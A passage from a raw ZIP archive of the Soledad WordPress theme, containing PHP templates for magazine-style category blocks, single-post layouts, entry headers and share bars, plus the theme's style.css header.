                                <span class="featc-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
	                        <?php if ( isset( $custom_meta_key ) ) {
		                        echo penci_show_custom_meta_fields( $custom_meta_key );
	                        } ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>

        </div>
	<?php } else { ?>
        <div class="magcat-detail">
            <div class="magcat-padding">
                <h3 class="magcat-titlte entry-title magcat-title-small"><a
                            href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
                </h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
            </div>
        </div>
	<?php } ?>
</div>
PK     N\xe޷U  U  /  template-parts/magazine-sc/magazine-style-1.phpnu [        <?php
/**
 * Template display for featured category style 1
 *
 * @since 1.0
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
$post_id = get_the_ID();
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(),$size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                <a class="penci-image-holder penci-lazy<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize ); ?>"
                   href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                </a>
			<?php } else { ?>
                <a class="penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                   href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                </a>
			<?php } ?>
			<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>
        </div>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a
                            href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), ( $m == 1 ? $big_title_length : $_title_length ) ); ?></a>
                </h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || ( ( $m == 1 || $show_author_sposts ) && 'yes' != $hide_author ) || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || $show_author_sposts ) && 'yes' != $hide_author ) : ?>
                            <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                            penci_coauthors_posts_links();
	                            else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                            <?php endif; ?></span>
						<?php endif; ?>
						<?php if ( 'yes' != $hide_date ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' == $show_commentcount ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( 'yes' == $show_viewscount ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php if ( isset( $custom_meta_key ) ) {
							echo penci_show_custom_meta_fields( $custom_meta_key );
						} ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php if ( $m == 1 && get_the_excerpt() && 'yes' != $hide_excerpt ): ?>
                <div class="mag-excerpt entry-content">
					<?php
					if ( isset( $_excerpt_length ) ) {
						$_excerpt_length = $_excerpt_length ? $_excerpt_length : 25;
						penci_the_excerpt( $_excerpt_length, $post_id );
					} else {
						the_excerpt();
					}
					?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     N\;jc  c  !  template-parts/single-style-8.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check class main content
$class_container_single = 'container container-single penci-single-style-8 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
    <div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
		echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
	} ?>>
        <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
			echo ' penci-single-infiblock-end';
		} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?>
             data-prev-url="<?php echo esc_url( $prev_post_url ); ?>"
             data-current-url="<?php echo esc_url( $current_permalink ); ?>"
             data-post-title="<?php echo esc_attr( $current_title ); ?>"
             data-edit-post="<?php echo get_edit_post_link( $postID ); ?>"
             data-postid="<?php echo $postID; ?>"<?php endif; ?>>
			<?php
			if ( ! get_theme_mod( 'penci_move_breadcrumbs' ) ) {
				get_template_part( 'template-parts/single', 'breadcrumb' );
			}
			?>
            <div class="<?php echo $class_container_single; ?>">
                <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                    <div class="theiaStickySidebar">
						<?php
						if ( get_theme_mod( 'penci_move_breadcrumbs' ) ) {
							get_template_part( 'template-parts/single', 'breadcrumb' );
						}
						?>
						<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
							<?php penci_set_post_views( $post->ID ); ?>
							<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
						<?php endwhile; endif; ?>
                    </div>
                </div>
				<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
            </div>
			<?php do_action( 'penci_action_after_post_content' ); ?>
        </div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\    &  template-parts/single-entry-header.phpnu [        <?php
$style_cscount     = get_theme_mod( 'penci_single_style_cscount' );
$style_cscount     = $style_cscount ? $style_cscount : 's1';
$single_style      = penci_get_single_style();
$move_title_bellow = get_theme_mod( 'penci_move_title_bellow' );
?>
    <div class="header-standard header-classic single-header">
		<?php do_action( 'penci_before_main_post_title' ); ?>
		<?php if ( ! get_theme_mod( 'penci_post_cat' ) ) : ?>
            <div class="penci-standard-cat penci-single-cat"><span class="cat"><?php penci_category( '' ); ?></span>
            </div>
		<?php endif; ?>
        <h1 class="post-title single-post-title entry-title"><?php the_title(); ?></h1>
		<?php penci_display_post_subtitle(); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php $hide_readtime = get_theme_mod( 'penci_single_hreadtime' ); ?>
		<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) || ! get_theme_mod( 'penci_single_meta_date' ) || ! get_theme_mod( 'penci_single_meta_comment' ) || get_theme_mod( 'penci_single_show_cview' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
            <div class="post-box-meta-single">
				<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) ) : ?>
                    <span class="author-post byline"><span
                                class="author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php
							if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else :
								?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span></span>
				<?php endif; ?>
				<?php penci_author_update_name(); ?>
				<?php if ( ! get_theme_mod( 'penci_single_meta_date' ) ) : ?>
                    <span><?php penci_soledad_time_link( 'single' ); ?></span>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_single_meta_comment' ) && 's1' != $style_cscount ) : ?>
                    <span><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_single_show_cview' ) ) : ?>
                    <span><i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i> <?php echo penci_get_setting( 'penci_trans_countviews' ); ?></span>
				<?php endif; ?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <span class="single-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_single_meta_content' ); ?>
				<?php
				if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && in_array(
						$single_style,
						array(
							'style-5',
							'style-6',
							'style-8',
						)
					) && ! $move_title_bellow ) {
					echo '<span class="penci-featured-caption penci-fixed-caption penci-caption-relative">' . get_the_post_thumbnail_caption() . '</span>';
				}
				?>
            </div>
		<?php endif; ?>
		<?php
		$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
		if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
			do_action( 'penci_recipes_action_hook' );
		}
		?>
		<?php do_action( 'penci_after_main_post_title' ); ?>
    </div>
<?php
$single_sstyle     = get_theme_mod( 'penci_single_style' );
$move_title_bellow = get_theme_mod( 'penci_move_title_bellow' );
$show              = true;
if ( ! $move_title_bellow && in_array(
			$single_sstyle,
			array(
				'style-5',
				'style-6',
				'style-8',
				'style-10',
				'style-13',
				'style-22',
			)
		) ) {
	$show = false;
}
if ( $show && ( 'btitle-bcontent' == get_theme_mod( 'penci_single_poslcscount' ) || 'btitle' == get_theme_mod( 'penci_single_poslcscount' ) ) ) {
	get_template_part( 'template-parts/single-meta-comment-top' );
}
PK     N\.     "  template-parts/single-style-14.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-14 penci-single-smore hentry';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-14 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;

	$single_magazine .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}
$post_format = get_post_format();

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
							<?php
							if( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
								get_template_part( 'template-parts/single', 'breadcrumb-inner' );
								get_template_part( 'template-parts/single', 'entry-header' );
							}
							get_template_part( 'template-parts/single', 'post-format' );
							?>
						</div>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\H;  ;  &  template-parts/single-meta-comment.phpnu [        <?php
$style_cscount = get_theme_mod( 'penci_single_style_cscount', 's1' );
$style_bottom_cscount = get_theme_mod( 'penci_single_style_bottom_cscount' );
$style_cscount = $style_bottom_cscount && is_single() ? $style_bottom_cscount : $style_cscount;
$align_cscount = is_page() ? 'penci_page_align_cscount' : 'penci_post_align_cscount';
if ( is_page() ) {
	$page_cscount  = get_theme_mod( 'penci_page_style_cscount', $style_cscount );
	$style_cscount = ! empty( $page_cscount ) ? $page_cscount : $style_cscount;
}
$bio_style = get_theme_mod( 'penci_authorbio_style' ) ? get_theme_mod( 'penci_authorbio_style' ) : 'style-1';

$wrapper_class    = array();
$wrapper_class[]  = 'tags-share-box';
$wrapper_class[]  = is_page() ? 'page-share hide-tags' : 'single-post-share';
$wrapper_class[]  = 'tags-share-box-' . $style_cscount;
$wrapper_class_c1 = 's1' == $style_cscount ? ' center-box' : ' tags-share-box-2_3';
$wrapper_class[]  = strpos( $style_cscount, 'n' ) !== false ? ' pcnew-share' : $wrapper_class_c1;
$wrapper_class[]  = $bio_style == 'style-4' ? 'share-box-border-bot' : '';
$wrapper_class[]  = 'social-align-' . get_theme_mod( strval( $align_cscount ), 'default' );

if ( is_single() && get_theme_mod( 'penci_post_share_disbtnplus', true ) ) {
	$wrapper_class[] = 'disable-btnplus';
}

if ( is_page() && get_theme_mod( 'penci_page_share_disbtnplus', true ) ) {
	$wrapper_class[] = 'disable-btnplus';
}

if ( in_array( $style_cscount, [ 'n1', 'n3', 'n5', 'n8', 'n9', 'n10', 'n11', 'n12', 'n13', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' penci-social-colored';
}

if ( in_array( $style_cscount, [
	'n1',
	'n3',
	'n5',
	'n8',
	'n9',
	'n10',
	'n11',
	'n12',
	'n13',
	'n14',
	'n16',
	'n19',
	'n20'
] ) ) {
	$wrapper_class[] = ' penci-icon-full';
}

if ( in_array( $style_cscount, [ 'n2', 'n4', 'n6', 'n7', 'n9', 'n11', 'n13' ] ) ) {
	$wrapper_class[] = ' tags-share-box-s2';
}

if ( in_array( $style_cscount, [ 'n2', 'n4', 'n6', 'n7', 'n9', 'n11', 'n13', 'n15', 'n17', 'n18', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' show-txt';
}

if ( in_array( $style_cscount, [ 'n3', 'n4', 'n18' ] ) ) {
	$wrapper_class[] = ' rounder';
}

if ( in_array( $style_cscount, [ 'n5', 'n6', 'n10', 'n11' ] ) ) {
	$wrapper_class[] = ' show-shadow';
}

if ( in_array( $style_cscount, [ 'n7' ] ) ) {
	$wrapper_class[] = ' focus-icon';
}

if ( in_array( $style_cscount, [ 'n8', 'n9', 'n10', 'n11', 'n12', 'n13' ] ) ) {
	$wrapper_class[] = ' size-large';
}

if ( in_array( $style_cscount, [ 'n9', 'n11', 'n13' ] ) ) {
	$wrapper_class[] = ' txt-below';
}

if ( in_array( $style_cscount, [ 'n12', 'n13' ] ) ) {
	$wrapper_class[] = ' no-spacing';
}

if ( in_array( $style_cscount, [ 'n14', 'n15' ] ) ) {
	$wrapper_class[] = ' black-ver';
}

if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18', 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' border-style';
}

if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18' ] ) ) {
	$wrapper_class[] = ' penci-social-textcolored';
}

if ( in_array( $style_cscount, [ 'n19', 'n20' ] ) ) {
	$wrapper_class[] = ' full-border';
}

$show_comments = $show_socials = false;

if ( penci_soledad_social_share( '', false ) ) {
	$show_socials = true;
} else {
	$wrapper_class[] = ' no-social-enabled';
}

$show_comments_option = ! get_theme_mod( 'penci_single_meta_comment' );

if ( $show_comments_option && 's1' == $style_cscount && is_singular( 'post' ) ) {
	$show_comments = true;
	$show_socials  = true;
} else if ( get_theme_mod( 'penci_post_share' ) ) {
	$show_socials = false;
}

?>
<?php if ( ( $show_comments_option || ! get_theme_mod( 'penci_post_share' ) ) && $show_socials ): ?>
    <div class="<?php echo esc_attr( implode( ' ', $wrapper_class ) ); ?> post-share<?php if ( get_theme_mod( 'penci__hide_share_plike' ) ): echo ' hide-like-count'; endif; ?>">
		<?php
		if ( 's1' != $style_cscount || is_page() ) {
			echo '<span class="penci-social-share-text">';
			if ( get_theme_mod( 'penci_trans_share' ) ) {
				echo do_shortcode( get_theme_mod( 'penci_trans_share' ) );
			} else {
				echo '<i class="penciicon-sharing"></i>';
				esc_html_e( 'Share', 'soledad' );
			}
			echo '</span>';
		}
		?>
		<?php if ( $show_comments ) : ?>
            <span class="single-comment-o<?php if ( get_theme_mod( 'penci_post_share' ) ) : echo ' hide-comments-o'; endif; ?>"><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
		<?php endif; ?>

		<?php if ( ! get_theme_mod( 'penci_post_share' ) ) : ?>
			<?php if ( ! get_theme_mod( 'penci__hide_share_plike' ) && ! is_page() ): ?>
                <span class="post-share-item post-share-plike">
					<?php echo penci_single_getPostLikeLink( get_the_ID() ); ?>
					</span>
			<?php endif; ?>
			<?php penci_soledad_social_share(); ?>
		<?php endif; ?>
    </div>
<?php endif; ?>
PK     N\    !  template-parts/single-style-4.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-4 penci-single-smore container-single-fullwidth hentry';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-4 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}
$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					if( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
						get_template_part( 'template-parts/single', 'breadcrumb' );

						echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
						get_template_part( 'template-parts/single', 'entry-header' );
						echo '</div>';
					}
					get_template_part( 'template-parts/single', 'post-format' );
				endwhile;
			endif;
			?>
		</div>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\?Yۃ    	  style.cssnu [        /*
Theme Name: soledad
Theme URI: https://pencidesign.net/
Description: A Multipurpose, Newspaper, Blog & WooCommerce WordPress Theme
Author: PenciDesign
Author URI: https://pencidesign.net/
Version: 8.6.8
Requires PHP: 7.4
License: GNU General Public License version 3.0
License URI: http://www.gnu.org/licenses/gpl-3.0.html
Tags: black, green, white, light, one-column, two-columns, three-columns, right-sidebar, left-sidebar, fluid-layout, responsive-layout, custom-header, custom-menu, featured-images, post-formats, translation-ready
Text Domain: soledad
Domain Path: /languages
*/
/*
 * Silence is gold
 */
/* The main css file is located in "themes/soledad/main.css" */
PK     N\]h  h    content-photography.phpnu [        <?php
/**
 * Template loop for typography style
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<li class="grid-style grid-2-style typography-style">
    <article id="post-<?php the_ID(); ?>" class="item hentry">

        <div class="thumbnail">
			<?php do_action( 'penci_bookmark_post' ); ?>

